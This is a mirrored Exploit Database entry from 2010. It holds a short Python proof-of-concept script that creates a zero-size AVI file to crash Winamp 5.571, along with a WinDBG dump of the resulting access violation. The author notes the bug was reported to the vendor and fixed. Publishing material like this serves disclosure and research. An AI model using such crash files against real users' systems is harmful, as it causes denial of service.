Winamp 5.571 – ‘.avi’ Denial of Service

• Exploit Database
• 13 阅读

• 作者： Praveen Darshanam
  日期： 2010-06-28
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14102/

• # Tested on Windows 7 and Winamp v5.571(x86)
  # This bug is informed to Nullsoft and was fixed long back.
  # The status can be found at http://forums.winamp.com/showthread.php?s=&threadid=316000 
  # This code works on Python 3.0. To make it work on <3.0 remove braces in print
  
  print("\n***Winamp v5.571 malicious AVI file handling DoS Vulnerability***\n")
  
  try:
  open('winampcrash.avi', 'w')
  print ("Creating malicious AVI file . . . \n")
  print ("Successfully created Zero size AVI file\n")
  print ("Open created Zero size AVI file in Winamp.....Boom\n\n")
  except IOError: 
  print ("Unable to create Zero size AVI file\n")
  
  
  
  
  
  """
  Following is the WinDBG status when we open winampcrash.AVI file in Winamp v5.571(x86)
  
  (f00.e60): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0886fe68 edi=02880618
  eip=076243f1 esp=0886fc50 ebp=0886ff28 iopl=0 nv up ei pl zr na pe nc
  cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010246
  in_AVI!winampGetInModule2+0x13da:
  076243f1 8b4008mov eax,dword ptr [eax+8] ds:002b:00000008=????????
  
  
  """
  
  
  #Best Regards,
  #Praveen Darshanam